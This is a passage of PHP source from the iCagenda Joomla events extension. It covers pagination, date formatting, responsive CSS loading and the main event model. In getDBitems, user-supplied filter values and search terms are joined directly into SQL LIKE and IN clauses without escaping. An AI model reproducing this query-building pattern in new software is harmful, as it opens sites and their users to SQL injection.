//						$nav.= '<div class="icagenda_back"><button class="iCtip" onclick="prevNav(); return false;" title="' . JText::_( 'JPREV' ) . '"><a href="#"><span class="iCicon iCicon-backic"></span> ' . $pageBack . $textback . '&nbsp;</a></button></div>';
					}
				}

				if ($ctrlNext != NULL)
				{
					if ( ! $getpage)
					{
						$pageNext	= 2;
					}
					else
					{
						$pageNext	= $getpage+1;
						$pageBack	= $getpage-1;
					}

					if (empty($pageBack))
					{
						$nav.= '<a class="icagenda_next iCtip" href="' . JRoute::_($urlpage . 'page=' . $pageNext) . '" title="' . $textnext . '">&nbsp;' . $textnext . ' <span class="iCicon iCicon-nextic"></span></a>';

//						$nav.= '<div class="icagenda_next"><button class="iCtip" onclick="nextNav(); return false;" title="' . JText::_( 'JNEXT' ) . '"><a href="#">&nbsp;' . $textnext . $pageNext . ' <span class="iCicon iCicon-nextic"></span></a></button></div>';
					}
				}

//				$nav.= '<div id="currentpage"></div>';

//				$nav.= '<script>';
//				$nav.= 'function prevNav()';
//				$nav.= '{';
//				$nav.= '	document.getElementById("currentpage").innerHTML = "<input type=\"hidden\" name=\"page\" value=\"' . $pageBack . '\" />";';
//				$nav.= '	this.form.submit();';
//				$nav.= '}';
//				$nav.= 'function nextNav()';
//				$nav.= '{';
//				$nav.= '	document.getElementById("currentpage").innerHTML = "<input type=\"hidden\" name=\"page\" value=\"' . $pageNext . '\" />";';
//				$nav.= '	this.form.submit();';
//				$nav.= '}';
//				$nav.= '</script>';
			}

			if ($pagination == 1)
			{
				/* Pagination */

				if (empty($pageBack))
				{
					$nav.= '<div style="text-align:left">[ ';
				}
				elseif ($getpage && $getpage == $pages)
				{
					$nav.= '<div style="text-align:right">[ ';
				}
				else
				{
					$nav.= '<div style="text-align:center">[ ';
				}

				/* Boucle sur les pages */
				for ($i = 1 ; $i <= $pages ; $i++)
				{
					if ($i==1 || (($getpage-5) < $i && $i < ($getpage+5)) || $i==$pages)
					{
						if ($i == $pages && $getpage < ($pages-5))
						{
							$nav.= '...';
						}

						if ($i == $getpage)
						{
							$nav.= ' <b>' . $i . '</b>';
						}
						else
						{
							$nav.= ' <a href="' . $urlpage . 'page=' . $i . '"';
							$nav.= ' class="iCtip"';
							$nav.= ' title="' . JText::sprintf( 'COM_ICAGENDA_EVENTS_PAGE_PER_TOTAL', $i, $pages ) . '">';
							$nav.= $i;
							$nav.= '</a>';
						}

						if ($i == 1 && $getpage > 6)
						{
							$nav.= '...';
						}
					}
				}

				$nav.= ' ]</div>';
			}

			$nav.= '</div>';
		}

		return $nav;
	}

	// Function to get Format Date (list of events)
	public static function formatDate($date)
	{
		// Date Format Option (Global Component Option)
		$date_format_global	= JComponentHelper::getParams('com_icagenda')->get('date_format_global', 'Y - m - d');
		$date_format_global	= ($date_format_global !== '0') ? $date_format_global : 'Y - m - d'; // Previous 3.5.6 setting

		// Date Format Option (Menu Option)
		$date_format_menu	= JFactory::getApplication()->getParams()->get('format', '');
		$date_format_menu	= ($date_format_menu !== '0') ? $date_format_menu : ''; // Previous 3.5.6 setting

		// Set Date Format option to be used
		$format				= $date_format_menu ? $date_format_menu : $date_format_global;

		// Separator Option
		$separator			= JFactory::getApplication()->getParams()->get('date_separator', ' ');

		if ( ! is_numeric($format))
		{
			// Update old Date Format options of versions before 2.1.7
			$format = str_replace(array('nosep', 'nosep', 'sepb', 'sepa'), '', $format);
			$format = str_replace('.', ' .', $format);
			$format = str_replace(',', ' ,', $format);
		}

		$dateFormatted = iCGlobalize::dateFormat($date, $format, $separator);

		return $dateFormatted;
	}


	// Set Date format for url
	public static function eventUrlDate($evt)
	{
		$evt_explode	= explode(' ', $evt);
		$dateday		= $evt_explode['0'] . '-' . str_replace(':', '-', $evt_explode['1']);

		return $dateday;
	}


	// Get Next Date (or Last Date)
	public static function nextDate($evt, $i)
	{
		$eventTimeZone = null;

		$singledates	= iCString::isSerialized($i->dates) ? unserialize($i->dates) : array(); // returns array
		$period			= iCString::isSerialized($i->period) ? unserialize($i->period) : array(); // returns array
		$startdatetime	= $i->startdatetime;
		$enddatetime	= $i->enddatetime;
		$weekdays		= $i->weekdays;

		$site_today_date	= JHtml::date('now', 'Y-m-d');
		$UTC_today_date		= JHtml::date('now', 'Y-m-d', $eventTimeZone);

		$next_date			= JHtml::date($evt, 'Y-m-d', $eventTimeZone);
		$next_datetime		= JHtml::date($evt, 'Y-m-d H:i', $eventTimeZone);

		$start_date			= JHtml::date($i->startdatetime, 'Y-m-d', $eventTimeZone);
		$end_date			= JHtml::date($i->enddatetime, 'Y-m-d', $eventTimeZone);

		// Check if date from a period with weekdays has end time of the period set in next.
//		$time_next_datetime	= JHtml::date($next_datetime, 'H:i', $eventTimeZone);
		$time_next_datetime	= date('H:i', strtotime($next_datetime));
		$time_startdate		= JHtml::date($i->startdatetime, 'H:i', $eventTimeZone);
		$time_enddate		= JHtml::date($i->enddatetime, 'H:i', $eventTimeZone);

		$data_next_datetime		= date('Y-m-d H:i', strtotime($evt));

		if ($next_date == $site_today_date
			&& $time_next_datetime == $time_enddate)
		{
			$next_datetime = $next_date . ' ' . $time_startdate;
		}

		if ( $period != NULL
			&& in_array($data_next_datetime, $period) )
		{
			$next_is_in_period = true;
		}
		else
		{
			$next_is_in_period = false;
		}

		// Highlight event in progress
		if ($next_date == $site_today_date)
		{
			$start_span	= '<span class="ic-next-today">';
			$end_span	= '</span>';
		}
		else
		{
			$start_span = $end_span = '';
		}

		$separator = '<span class="ic-datetime-separator"> - </span>';

		// Format Next Date
		if ( $next_is_in_period
			&& ($start_date == $end_date || $weekdays != null) )
		{
			// Next in the period & (same start/end date OR one or more weekday selected)
			$nextDate = $start_span;
			$nextDate.= '<span class="ic-period-startdate">';
			$nextDate.= self::formatDate($evt);
			$nextDate.= '</span>';

			if ($i->displaytime == 1)
			{
				$nextDate.= ' <span class="ic-single-starttime">' . icagendaEvents::dateToTimeFormat($startdatetime) . '</span>';

				if ( icagendaEvents::dateToTimeFormat($startdatetime) != icagendaEvents::dateToTimeFormat($enddatetime) )
				{
					$nextDate.= $separator . '<span class="ic-single-endtime">' . icagendaEvents::dateToTimeFormat($enddatetime) . '</span>';
				}
			}

			$nextDate.= $end_span;
		}
		elseif ( $next_is_in_period
			&& ($weekdays == null) )
		{
			// Next in the period & different start/end date & no weekday selected
			$start	= '<span class="ic-period-startdate">';
			$start	.= self::formatDate($startdatetime);
			$start	.= '</span>';

			$end	= '<span class="ic-period-enddate">';
			$end	.= self::formatDate($enddatetime);
			$end	.= '</span>';

			if ($i->displaytime == 1)
			{
				$start		.= ' <span class="ic-period-starttime">' . icagendaEvents::dateToTimeFormat($startdatetime) . '</span>';
				$end		.= ' <span class="ic-period-endtime">' . icagendaEvents::dateToTimeFormat($enddatetime) . '</span>';
			}

			$nextDate = $start_span . $start . $separator . $end . $end_span;
		}
		else
		{
			// Next is a single date
			$nextDate = $start_span;
			$nextDate.= '<span class="ic-single-next">';
			$nextDate.= self::formatDate($evt);
			$nextDate.= '</span>';

			if ($i->displaytime == 1)
			{
				$nextDate.= ' <span class="ic-single-starttime">' . icagendaEvents::dateToTimeFormat($evt) . '</span>';
			}

			$nextDate.= $end_span;
		}

		return $nextDate;
	}


	// Read More Button
	public static function readMore ($url, $desc, $content = '')
	{
		$iCparams		= JComponentHelper::getParams('com_icagenda');
		$limitGlobal	= $iCparams->get('limitGlobal', 0);

		if ($limitGlobal == 1)
		{
			$limit = $iCparams->get('ShortDescLimit', '100');
		}
		elseif ($limitGlobal == 0)
		{
			$customlimit = $iCparams->get('limit', '100');

			$limit = is_numeric($customlimit) ? $customlimit : $iCparams->get('ShortDescLimit', '100');
		}

		$limit = is_numeric($limit) ? $limit : '1';

		$readmore	= '';

		$readmore	= ($limit <= 1) ? '' : $content;
		$text		= preg_replace('/<img[^>]*>/Ui', '', $desc);

		if (strlen($text) > $limit)
		{
			$string_cut	= substr($text, 0, $limit);
			$last_space	= strrpos($string_cut, ' ');
			$string_ok	= substr($string_cut, 0, $last_space);
			$text		= $string_ok . ' ';
			$url		= $url;
			$text		= '<a href="' . $url . '" class="more">' . $readmore . '</a>';
		}
		else
		{
			$text		= '';
		}

		return $text;
	}
}
com_icagenda/helpers/media_css.class.php000060400000011741152453734450014357 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      doorknob
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-12-20
 * @since       3.3.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die;

/**
 * CSS @media class for iCagenda
 *
 * @since  3.3.0
 */
class iCagendaMediaCss
{
	/**
	 * Builds the CSS to be bracketed by @media statements and then inserts it into the document header
	 *
	 * @param   string  $template  The name of the theme
	 * @param   string  $type      The source of the CSS to be added:
	 *                             'component' - add the component part of the CSS
	 *                             'module' - add the module part of the CSS
	 *
	 * @return void
	 */
	public static function addMediaCss($template='default', $type='component')
	{
		// Prepare the CSS
		$css = self::getMediaCss($template, $type);
		self::writeMediaCss($css);
	}

	/**
	 * Builds the CSS to be bracketed by @media statements from separate files
	 *
	 * @param   string  &$template  The name of the theme
	 * @param   string  &$type      The source of the CSS to be added:
	 *                              'component' - add the component part of the CSS
	 *                              'module' - add the module part of the CSS
	 *
	 * @return  string CSS to be added to the page
	 */
	public static function getMediaCss(&$template, &$type)
	{
		/*
		 * Load the Theme Pack supplements for screen size variants
		 * This is based on the four screen sized defined by Bootstrap 3 (i.e. large, medium, small and extra small)
		 * The threshold values are defined in the component parameter set so that the component and any modules can
		 * use consistent values.
		 */
		jimport('joomla.application.component.helper');
		$com_params = JComponentHelper::getParams('com_icagenda');
		$media_css = '';
		$max_threshold = 0;
		$largethreshold = (int) $com_params->get('largewidththreshold', 0);
		$mbString     = extension_loaded('mbstring');

		if ($largethreshold > 0)
		{
			$css_contents = @file_get_contents(
				JPATH_ROOT . "/components/com_icagenda/themes/packs/$template/css/{$template}_{$type}_large.css");

			$css = preg_replace('!/\*.*?\*/!s', '', $css_contents);
			$size_css = $mbString ? mb_strlen($css) : strlen($css);

//			if (is_string($css) && !empty($css) && ($size_css > 10))
//			{
				$media_css .= "\n@media screen and (min-width:{$largethreshold}px){\n{$css}\n}\n";
				$max_threshold = $largethreshold - 1;
//			}
		}

		$mediumthreshold = (int) $com_params->get('mediumwidththreshold', 0);

		if ($mediumthreshold > 0)
		{
			$css_contents = @file_get_contents(
				JPATH_ROOT . "/components/com_icagenda/themes/packs/$template/css/{$template}_{$type}_medium.css");

			$css = preg_replace('!/\*.*?\*/!s', '', $css_contents);
			$size_css = $mbString ? mb_strlen($css) : strlen($css);

//			if (is_string($css) && !empty($css) && ($size_css > 10))
//			{
				$upper_limit = $max_threshold > 0 ? " and (max-width:{$max_threshold}px)" : '';
				$media_css .= "\n@media screen and (min-width:{$mediumthreshold}px)$upper_limit{\n{$css}\n}\n";
				$max_threshold = $mediumthreshold - 1;
//			}
		}

		$smallthreshold = (int) $com_params->get('smallwidththreshold', 0);

		if ($smallthreshold > 0)
		{
			$css_contents = @file_get_contents(
				JPATH_ROOT . "/components/com_icagenda/themes/packs/$template/css/{$template}_{$type}_small.css");

			$css = preg_replace('!/\*.*?\*/!s', '', $css_contents);
			$size_css = $mbString ? mb_strlen($css) : strlen($css);

//			if (is_string($css) && !empty($css) && ($size_css > 10))
//			{
				$upper_limit = $max_threshold > 0 ? " and (max-width:{$max_threshold}px)" : '';
				$media_css .= "\n@media screen and (min-width:{$smallthreshold}px)$upper_limit{\n{$css}\n}\n";
				$max_threshold = $smallthreshold - 1;
//			}

			$css_contents = @file_get_contents(
				JPATH_ROOT . "/components/com_icagenda/themes/packs/$template/css/{$template}_{$type}_xsmall.css");

			$css = preg_replace('!/\*.*?\*/!s', '', $css_contents);
			$size_css = $mbString ? mb_strlen($css) : strlen($css);

//			if (is_string($css) && !empty($css) && ($size_css > 10))
//			{
				$smallthreshold--;
				$media_css .= "\n@media screen and (max-width:{$smallthreshold}px){\n{$css}\n}\n";
//			}
		}

		return $media_css;
	}

	/**
	 * Write the CSS to the document header
	 *
	 * @param   string  &$css  The CSS to be written to the document
	 *
	 * @return void
	 */
	public static function writeMediaCss(&$css)
	{
		if (!empty($css))
		{
			$document = JFactory::getDocument();
			$document->addStyleDeclaration($css);
		}
	}
}
com_icagenda/helpers/icmodel.php000060400000356205152453734450012747 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.12 2015-09-09
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modelitem');
jimport('joomla.html.parameter');
jimport('joomla.registry.registry');

jimport('joomla.user.helper');
jimport('joomla.access.access');

class iCModelItem extends JModelItem
{
	/**
	 * @var
	 */
	protected $msg;
	protected $filters;
	protected $options;
	protected $itObj;
	protected $where;

	protected $searchInFields = array('title', 'c.catid');

	/**
	 * Load the iChelper class
	 */
	public function __construct($config = array())
	{
		$config['filter_fields'] = array_merge($this->searchInFields, array('c.catid'));

		parent::__construct($config);

		// Load the helper class
		JLoader::register('iCModeliChelper', JPATH_SITE . '/components/com_icagenda/helpers/ichelper.php');
	}


	/**
	 * Model Builder
	 */
	protected function startiCModel()
	{
		$this->filters	= array();
		$this->options	= array();
		$this->items	= array();
		$this->itObj	= new stdClass;
	}


	/**
	 * Table importation
	 */
	public function getTable($type = 'icagenda', $prefix = 'icagendaTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}


	/**
	 * Get all data
	 */
	protected function getItems($structure)
	{
		// Return Items
		if (isset($this->items) && is_array($this->items))
		{
			$this->items = $this->getDBitems();
		}

		foreach ($structure as $k => $v)
		{
			$this->itObj->$k = $this->$k($v);
		}

		return $this->itObj;
	}


	/**
	 * Add the filters to be used in queries
	 */
	protected function addFilter($name, $value)
	{
		$this->filters[$name] = $value;
	}


	/**
	 * Add the options you use to obtain the various data in the right setting
	 */
	protected function addOption($name, $value)
	{
		$this->options[$name]=$value;
	}


	/**
	 * Fetch data from DB
	 */
	protected function getDBitems()
	{
		// Check valid NEXT DATE
		icagendaEventsData::getNext();

		$app = JFactory::getApplication();
		$jinput = $app->input;
		$params = $app->getParams();

		// Get Settings
		$filterTime		= $params->get('time', 1);

		$jlayout		= JRequest::getCmd('layout', '');
		$layouts_array	= array('event', 'registration', 'actions');
		$layout			= in_array($jlayout, $layouts_array) ? $jlayout : '';

		// Set vars
		$nodate			= '0000-00-00 00:00:00';
		$eventTimeZone	= null;
		$datetime_today	= JHtml::date('now', 'Y-m-d H:i:s'); // Joomla Time Zone
		$date_today		= JHtml::date('now', 'Y-m-d'); // Joomla Time Zone
		$time_today		= JHtml::date('now', 'H:i:s'); // Joomla Time Zone

		// Get List Type option (list of events / list of dates)
		$allDatesDisplay = $this->options['datesDisplay'];

		// Preparing connection to db
		$db	= Jfactory::getDbo();

		// Preparing the query
		$query = $db->getQuery(true);

		// Selectable items
		$query->select('e.*,
			e.place as place_name, e.coordinate as coordinate, e.lat as lat, e.lng as lng,
			c.id as cat_id, c.title as cat_title, c.color as cat_color, c.desc as cat_desc, c.alias as cat_alias');

		// join
		$query->from('`#__icagenda_events` AS e');
		$query->leftJoin('`#__icagenda_category` AS c ON c.id = e.catid');
		$query->where('c.state = 1');

		// Where (filters)
		$filters = $this->filters;

		$where = 'e.state = ' . $filters['state'];

		$user		= JFactory::getUser();
		$userLevels	= $user->getAuthorisedViewLevels();
		$userGroups	= $user->groups;
		$groupid	= JComponentHelper::getParams('com_icagenda')->get('approvalGroups', array("8"));
		$groupid	= is_array($groupid) ? $groupid : array($groupid);

		// Test if user login have Approval Rights
		if ( !array_intersect($userGroups, $groupid)
			&& !in_array('8', $userGroups) )
		{
			$where.= ' AND e.approval <> 1';
		}
		else
		{
			$where.= ' AND e.approval < 2';
		}

		// ACCESS Filtering (if not list, use layout access control (event, registration))
		if ( ! $layout
			&& ! in_array('8', $userGroups) )
		{
			$useraccess = implode(', ', $userLevels);

			$where.= ' AND e.access IN (' . $useraccess . ')';
		}

		// LANGUAGE Filtering
		$where.= ' AND (e.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . '))';

		unset($filters['state']);

		$k = '0';
		$this_id = null;

		if (isset($filters))
		{
			foreach($filters as $k=>$v)
			{
				// normal cases
				if ($k != 'key' && $k != 'next' && $k != 'e.catid' && $k != 'id')
				{
					$where.= ' AND '.$k.' LIKE "%'.$v.'%"';
				}

				// in case of search
				if ($k == 'key')
				{
					$keys = explode(' ', $v);

					foreach ($keys as $ke)
					{
						$where.= ' AND (e.title LIKE \'%' . $ke . '%\' OR ';
						$where.= ' e.desc LIKE \'%' . $ke . '%\' OR ';
						$where.= ' e.address LIKE \'%' . $ke . '%\' OR ';
						$where.= ' e.place LIKE \'%' . $ke . '%\' OR ';
						$where.= ' c.title LIKE \'%' . $ke . '%\')';
					}
				}

				// in the case of category
				$mcatidtrue = $this->options['mcatid'];

				if ( ! is_array($mcatidtrue))
				{
					$catold = $mcatidtrue;
					$mcatid = array($mcatidtrue);
				}
				else
				{
					$catold = '0';
					$mcatid = $mcatidtrue;
				}

				if ( ! in_array('0', $mcatid)
					|| ($catold != 0) )
				{
					if ($k == 'e.catid')
					{
						if (!is_array($v))
						{
							$v = array('' . $v . '');
						}

						$v = implode(', ', $v);

						$where.= ' AND ' . $k . ' IN (' . $v . ')';
					}
				}

				// in case of id
				if ($k == 'id')
				{
					//check if ID is a number
					if (is_numeric($v))
					{
						$this_id = (int) $v; // if event id is set in url

						$where.= ' AND e.id=' . $v;
					}
					else
					{
						//ERROR Message
					}
				}
			}
		}

		// Features - extract the number of displayable icons per event
		$query->select('feat.count AS features');
		$sub_query = $db->getQuery(true);
		$sub_query->select('fx.event_id, COUNT(*) AS count');
		$sub_query->from('`#__icagenda_feature_xref` AS fx');
		$sub_query->innerJoin("`#__icagenda_feature` AS f ON fx.feature_id=f.id AND f.state=1 AND f.icon<>'-1'");
		$sub_query->group('fx.event_id');
		$query->leftJoin('(' . (string) $sub_query . ') AS feat ON e.id=feat.event_id');

		// Filter by Features
		if (!$layout) // if view is list of events (temporary fix for calendar event links to details view)
		{
			$query->where(icagendaEventsData::getFeaturesFilter());
		}

		// Registrations total
		$query->select('r.count AS registered');
		$sub_query = $db->getQuery(true);
		$sub_query->select('r.eventid, sum(r.people) AS count');
		$sub_query->from('`#__icagenda_registration` AS r');

		$get_date = JRequest::getVar('date', '');

		if ($get_date)
		{
			$ex = explode('-', $get_date);

			if (strlen(iCDate::dateToNumeric($get_date)) != '12')
			{
				$event_url	= JURI::getInstance()->toString();
				$cleanurl	= preg_replace('/&date=[^&]*/', '', $event_url);
				$cleanurl	= preg_replace('/\?date=[^\?]*/', '', $cleanurl);

				// redirect and remove date var, if not correctly set
//				$app->redirect($cleanurl , JText::_( 'COM_ICAGENDA_ERROR_URL_DATE_NOT_FOUND' ));
				$app->redirect($cleanurl);

				return false;
			}

			if (count($ex) == 5)
			{
				$dateday = $ex['0'] . '-' . $ex['1'] . '-' . $ex['2'] . ' ' . $ex['3'] . ':' . $ex['4'] . ':00';

				$sub_query->where('r.date = ' . $db->q($dateday));
			}
		}

		$sub_query->where('r.state > 0');
		$sub_query->group('r.eventid');
		$query->leftJoin('(' . (string) $sub_query . ') AS r ON e.id=r.eventid');

		if ( ! $layout)
		{
			$number_per_page	= $this->options['number'];
			$orderdate			= $this->options['orderby'];
			$getpage			= JRequest::getVar('page', '1');

			$start = $number_per_page * ($getpage - 1);

			$all_dates_with_id	= icagendaEventsData::getAllDates();

			$count_all_dates	= count($all_dates_with_id);

			// Set list of PAGE:IDS
			$pages = ceil($count_all_dates / $number_per_page);
			$list_id = array();

			for ($n = 1; $n <= $pages; $n++)
			{
				$dpp_array = array();

				$page_nb		= $number_per_page * ($n - 1);
				$dates_per_page	= array_slice($all_dates_with_id, $page_nb, $number_per_page, true);

				foreach ($dates_per_page AS $dpp)
				{
					$dpp_alldates_array	= explode('_', $dpp);
					$dpp_date			= $dpp_alldates_array['0'];
					$dpp_id				= $dpp_alldates_array['1'];
					$dpp_array[]		= $dpp_id;
				}

				$list_id[] = implode(', ', $dpp_array) . '::' . $n;
			}

			$this_ic_ids = '';

			if ($list_id)
			{
				foreach ($list_id as $a)
				{
					$ex_listid = explode('::', $a);
					$ic_page = $ex_listid[1];
					$ic_ids = $ex_listid[0];

					if ($ic_page == $getpage)
					{
						$this_ic_ids = $ic_ids ? $ic_ids : '0';
					}
				}

				if ($this_ic_ids)
				{
					$where.= ' AND (e.id IN (' . $this_ic_ids . '))';
				}
				else
				{
					return false; // No Event (if 'All Dates' option selected)
				}
			}
		}

		// Query $where list
		$query->where($where);

		$db->setQuery($query);
		$loaddb = $db->loadObjectList();

		$registrations = icagendaEventsData::registeredList($this_id);

		// Extract the feature details, if needed
		foreach ($loaddb as $record)
		{
			if (is_null($record->features))
			{
				$record->features = array();
			}
			else
			{
				$query = $db->getQuery(true);
				$query->select('DISTINCT f.icon, f.icon_alt');
				$query->from('`#__icagenda_feature_xref` AS fx');
				$query->innerJoin("`#__icagenda_feature` AS f ON fx.feature_id=f.id AND f.state=1 AND f.icon<>'-1'");
				$query->where('fx.event_id=' . $record->id);
				$query->order('f.ordering DESC'); // Order descending because the icons are floated right
				$db->setQuery($query);
				$record->features = $db->loadObjectList();
			}

//			if (is_null($record->registered))
//			{
//				$record->registered = array();
//			}
//			else
//			{
				$record_registered = array();

				foreach ($registrations AS $reg_by_event)
				{
					$ex_reg_by_event = explode('@@', $reg_by_event);

					if ($ex_reg_by_event[0] == $record->id)
					{
						$record_registered[] = $ex_reg_by_event[0] . '@@' . $ex_reg_by_event[1] . '@@' . $ex_reg_by_event[2];
					}
				}

				$record->registered = $record_registered;
//			}
		}

		if ((!$layout && count($all_dates_with_id) > 0)
			|| $layout)
		{
			return $loaddb;
		}
	}


	/**
	 *
	 * ALL DATES - iCmodel
	 *
	 */
	protected function eventAllDates($i)
	{
		// Set vars
		$nodate = '0000-00-00 00:00:00';
		$ic_nodate = '0000-00-00 00:00';
		$eventTimeZone = null;

		// Get Data
		$tNext			= $i->next;
		$tDates			= $i->dates;
		$tId			= $i->id;
		$tState			= $i->state;
		$tEnddate		= $i->enddate;
		$tStartdate		= $i->startdate;
		$tWeekdays		= $i->weekdays;

		// Declare eventAllDates array
		$eventAllDates = array();

		// Get WeekDays Array
		$WeeksDays = iCDatePeriod::weekdaysToArray($tWeekdays);

		// If Single Dates, added each one to All Dates for this event
		$singledates = iCString::isSerialized($tDates) ? unserialize($tDates) : array();

		foreach ($singledates as $sd)
		{
			$isValid = iCDate::isDate($sd);

			if ( $isValid )
			{
				array_push($eventAllDates, $sd);
			}
		}

		// If Period Dates, added each one to All Dates for this event (filter week Days, and if date not null)
//		$StDate = JHtml::date($tStartdate, 'Y-m-d H:i', $eventTimeZone);
//		$EnDate = JHtml::date($tEnddate, 'Y-m-d H:i', $eventTimeZone);

		$perioddates = iCDatePeriod::listDates($i->startdate, $i->enddate);

		if ( (isset ($perioddates))
			&& ($perioddates != NULL) )
		{
			foreach ($perioddates as $Dat)
			{
				if (in_array(date('w', strtotime($Dat)), $WeeksDays))
				{
					$isValid = iCDate::isDate($Dat);

					if ($isValid)
					{
//						$SingleDate = JHtml::date($Dat, 'Y-m-d H:i', $eventTimeZone);
						$SingleDate = date('Y-m-d H:i', strtotime($Dat));

						array_push($eventAllDates, $SingleDate);
					}
				}
			}
		}

		return $eventAllDates;
	}

	/**
	 *
	 * EVENT DETAILS
	 *
	 */

	public function startdatetime($i)
	{
		return $i->startdate;
	}
	protected function enddatetime($i)
	{
		return $i->enddate;
	}
	protected function start_datetime($i)
	{
		return $i->startdate;
	}
	protected function end_datetime($i)
	{
		return $i->enddate;
	}
	protected function contact_name($i)
	{
		return $i->name;
	}
	protected function contact_email($i)
	{
		return $i->email;
	}

	protected function access($i){return $i->access;}
	protected function address($i){return $i->address;}
	protected function approval($i){return $i->approval;}
	protected function city($i){return $i->city;}
	protected function country($i){return $i->country;}
	protected function customfields($i){return $i->customfields;}
	protected function dates($i){return $i->dates;}
	protected function displaytime($i){return $i->displaytime;}
	protected function email($i){return $i->email;}
	protected function file($i){return $i->file;}
	protected function period($i){return $i->period;}
	protected function phone($i){return $i->phone;}
	protected function state($i){return $i->state;}
	protected function website($i){return $i->website;}
	protected function weekdays($i){return $i->weekdays;}

	protected function cat_desc($i){return $i->cat_desc;}
	protected function place_name($i){return $i->place_name;}


	// Set Meta-title for an event
	protected function metaTitle($i)
	{
		$limit = '70';
		$metaTitle = iCFilterOutput::fullCleanHTML($i->title);

		if ( strlen($metaTitle) > $limit )
		{
			$string_cut	= substr($metaTitle, 0, $limit);
			$last_space	= strrpos($string_cut, ' ');
			$string_ok	= substr($string_cut, 0, $last_space);
			$metaTitle = $string_ok;
		}

		return $metaTitle;
	}

	// Set Meta-description for an event
	protected function metaDesc($i)
	{
		$limit = '160';
		$metaDesc = iCFilterOutput::fullCleanHTML($i->metadesc);

		if ( empty($metaDesc) )
		{
			$metaDesc = iCFilterOutput::fullCleanHTML($i->desc);
		}

		if ( strlen($metaDesc) > $limit )
		{
			$string_cut	= substr($metaDesc, 0, $limit);
			$last_space	= strrpos($string_cut, ' ');
			$string_ok	= substr($string_cut, 0, $last_space);
			$metaDesc = $string_ok;
		}

		return $metaDesc;
	}

	// Set Meta-description as Short Description
	protected function metaAsShortDesc($i)
	{
		$metaAsShortDesc = iCFilterOutput::fullCleanHTML($i->metadesc);

		return $metaAsShortDesc;
	}


	protected function BackURL($i)
	{
		// Get Current Itemid
		//$this_itemid = JRequest::getInt('Itemid');

		//$BackURL = str_replace('&amp;','&', JRoute::_('index.php?option=com_icagenda&view=list&Itemid='.$this_itemid));
		$BackURL = 'javascript:history.go(-1)';

		return $BackURL;
	}

	protected function BackArrow($i)
	{
		// Get Current Itemid
		$this_itemid	= JRequest::getInt('Itemid');

		$jlayout		= JRequest::getCmd('layout', '');
		$layouts_array	= array('event', 'registration');
		$layout			= in_array($jlayout, $layouts_array) ? $jlayout : '';

		$manageraction	= JRequest::getVar('manageraction', '');
		$referer		= isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

		// RTL css if site language is RTL
		$lang			= JFactory::getLanguage();
		$back_icon		= ($lang->isRTL()) ? 'iCicon iCicon-nextic' : 'iCicon iCicon-backic';

		if ($layout != ''
			&& strpos($referer,'registration') === false
			&& !$manageraction)
		{
			if ($referer != "")
			{
				$BackArrow = '<a class="iCtip" href="' . str_replace(array('"', '<', '>', "'"), '', $referer) .'" title="' . JText::_( 'COM_ICAGENDA_BACK' ) . '"><span class="' . $back_icon . '"></span> <span class="small">' . JText::_( 'COM_ICAGENDA_BACK' ) .'</span></a>';
			}
			else
			{
				$BackArrow = '';
				return false;
			}
		}
		elseif ($manageraction || strpos($referer,'registration') !== false)
		{
			$BackArrow = '<a class="iCtip" href="' . JRoute::_('index.php?option=com_icagenda&Itemid=' . $this_itemid) .'" title="'. JText::_( 'COM_ICAGENDA_BACK' ) .'"><span class="' . $back_icon . '"></span> <span class="small">' . JText::_( 'COM_ICAGENDA_BACK' ) . '</span></a>';
		}
		else
		{
			return false;
		}

		return $BackArrow;
	}


	protected function ApprovedNotification ($creatorEmail, $eventUsername, $eventTitle, $eventLink)
	{
		$app = JFactory::getApplication();

		// Load Joomla Config Mail Options
		$sitename	= $app->getCfg('sitename');
		$mailfrom	= $app->getCfg('mailfrom');
		$fromname	= $app->getCfg('fromname');

		// Create User Mailer
		$approvedmailer = JFactory::getMailer();

		// Set Sender of Notification Email
		$approvedmailer->setSender(array( $mailfrom, $fromname ));

		// Set Recipient of Notification Email
		$approvedmailer->addRecipient($creatorEmail);

		// Set Subject of Notification Email
		$approvedsubject = JText::sprintf('COM_ICAGENDA_APPROVED_USEREMAIL_SUBJECT', $eventTitle);
		$approvedmailer->setSubject($approvedsubject);

		// Set Body of Notification Email
		$approvedbodycontent = JText::sprintf( 'COM_ICAGENDA_SUBMISSION_ADMIN_EMAIL_HELLO', $eventUsername) . ',<br /><br />';
		$approvedbodycontent.= JText::sprintf( 'COM_ICAGENDA_APPROVED_USEREMAIL_BODY_INTRO', $sitename) . '<br /><br />';
//		$approvedbodycontent.= JText::_( 'COM_ICAGENDA_APPROVED_USEREMAIL_EVENT_LINK' ).'<br />';

		$eventLink_html = '<br /><a href="' . $eventLink . '">' . $eventLink . '</a>';
		$approvedbodycontent.= JText::sprintf( 'COM_ICAGENDA_APPROVED_USEREMAIL_EVENT_LINK', $eventLink_html ).'<br /><br />';

//		$approvedbodycontent.= '<a href="' . $eventLink . '">' . $eventLink . '</a><br /><br />';
		$approvedbodycontent.= '<hr><small>' . JText::_( 'COM_ICAGENDA_APPROVED_USEREMAIL_EVENT_LINK_INFO' ) . '</small><br /><br />';

		$approvedbody = rtrim($approvedbodycontent);

		$approvedmailer->isHTML(true);
		$approvedmailer->Encoding = 'base64';

		$approvedmailer->setBody($approvedbody);

		// Send User Notification Email
		if (isset($creatorEmail))
		{
